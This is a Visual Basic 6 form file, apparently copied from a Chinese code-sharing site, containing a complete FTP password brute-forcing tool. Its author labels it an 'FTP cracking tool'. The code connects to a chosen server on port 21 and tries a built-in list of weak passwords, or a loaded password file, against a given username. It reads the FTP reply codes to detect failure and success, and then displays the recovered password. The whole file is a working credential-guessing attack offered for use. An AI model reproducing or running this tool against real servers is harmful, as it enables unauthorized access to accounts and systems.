?? form1.frm
字號:
VERSION 5.00
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Object = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}#2.0#0"; "MSCOMCTL.OCX"
Object = "{F9043C88-F6F2-101A-A3C9-08002B2F49FB}#1.2#0"; "ComDlg32.OCX"
Begin VB.Form Form1
Caption = "FTP暴力破解工具V1.0 --By 無敵小龍(張博) Q:5450913"
ClientHeight = 6360
ClientLeft = 3015
ClientTop = 2205
ClientWidth = 8325
LinkTopic = "Form1"
ScaleHeight = 6360
ScaleWidth = 8325
Begin MSComctlLib.ProgressBar ProgressBar1
Height = 255
Left = 240
TabIndex = 9
Top = 5160
Width = 7815
_ExtentX = 13785
_ExtentY = 450
_Version = 393216
Appearance = 1
End
Begin VB.Frame Frame3
Caption = "用戶名稱:"
Height = 855
Left = 240
TabIndex = 6
Top = 120
Width = 2415
Begin VB.TextBox Text1
Height = 375
Left = 120
TabIndex = 7
Text = "xiaolong"
Top = 360
Width = 2055
End
End
Begin VB.Frame Frame2
Caption = "檢測:"
Height = 4815
Left = 2880
TabIndex = 3
Top = 120
Width = 5175
Begin VB.TextBox Text2
Height = 375
Left = 1200
TabIndex = 10
Text = "127.0.0.1"
Top = 360
Width = 2415
End
Begin VB.CommandButton Command1
Caption = "開始掃描"
Height = 375
Left = 3720
TabIndex = 5
Top = 360
Width = 1215
End
Begin VB.ListBox List2
Height = 3840
Left = 120
TabIndex = 4
Top = 840
Width = 4815
End
Begin MSWinsockLib.Winsock Winsock1
Left = 960
Top = 0
_ExtentX = 741
_ExtentY = 741
_Version = 393216
End
Begin VB.Label Label2
Caption = "FTP服務器:"
Height = 255
Left = 120
TabIndex = 11
Top = 480
Width = 1095
End
End
Begin VB.Frame Frame1
Caption = "密碼列表:"
Height = 3735
Left = 240
TabIndex = 0
Top = 1200
Width = 2415
Begin MSComDlg.CommonDialog CommonDialog1
Left = 840
Top = 1800
_ExtentX = 847
_ExtentY = 847
_Version = 393216
End
Begin VB.CommandButton Command2
Caption = "載入密碼列表"
Height = 375
Left = 120
TabIndex = 2
Top = 360
Width = 2055
End
Begin VB.ListBox List1
Height = 2760
Left = 120
TabIndex = 1
Top = 840
Width = 2055
End
End
Begin VB.Label Label1
Caption = "無敵小龍:Http://hi.baidu.com/pespin"
Height = 255
Left = 2280
TabIndex = 8
Top = 5760
Width = 3495
End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Dim i As Integer
Private Sub Command1_Click()
List2.Clear '所有的初始化工作
i = 0
ProgressBar1.Min = 0
ProgressBar1.Max = List1.ListCount - 1
Winsock1.Close
Winsock1.Connect Text2.Text, 21 '連接FTP服務器
End Sub
Private Sub Command2_Click()
On Error Resume Next
Dim a As String
CommonDialog1.Action = 1 '打開文件
If CommonDialog1.FileName <> "" Then
List1.Clear '清空原來的列表
Open CommonDialog1.FileName For Input As #1
Do While Not EOF(1)
Line Input #1, a
List1.AddItem a
Loop
Close
End If
End Sub
Private Sub Form_Load() '加入密碼列表
List1.AddItem "789"
List1.AddItem "456"
List1.AddItem "123456"
List1.AddItem "xxxxxx"
List1.AddItem "eeeeee"
List1.AddItem "bbbbbb"
List1.AddItem "ccc"
List1.AddItem "xyz"
List1.AddItem "abc"
List1.AddItem "888"
List1.AddItem "123"
List1.AddItem "111"
List1.AddItem "999999"
End Sub
Private Sub Winsock1_Connect()
List2.AddItem "連接成功"
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) '數據到達
Dim a As String
Winsock1.GetData a '獲取數據
List2.AddItem a
ProgressBar1.Value = i
If i = List1.ListCount - 1 Then
MsgBox "所有密碼檢測完畢"
Exit Sub
End If
If Mid(a, 1, 3) = "220" Then '發送用戶
Winsock1.SendData "USER " + Text1.Text + vbCrLf '這里的回車換行不能少
List2.AddItem "USER " + Text1.Text
End If
If Mid(a, 1, 3) = "331" Then '發送密碼
Winsock1.SendData "PASS " + List1.List(i) + vbCrLf
List2.AddItem "PASS " + List1.List(i)
End If
If Mid(a, 1, 3) = "530" Then '用戶或者密碼錯誤
Winsock1.SendData "USER " + Text1.Text + vbCrLf '重新發送用戶名,這樣可以建立一個新的掃描會話!
i = i + 1
List2.AddItem "USER " + Text1.Text
End If
If Mid(a, 1, 3) = "230" Then
Form1.Caption = "用戶為:" + Text1.Text + ",密碼為:" + List1.List(i)
ProgressBar1.Value = 0
End If
End Sub
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -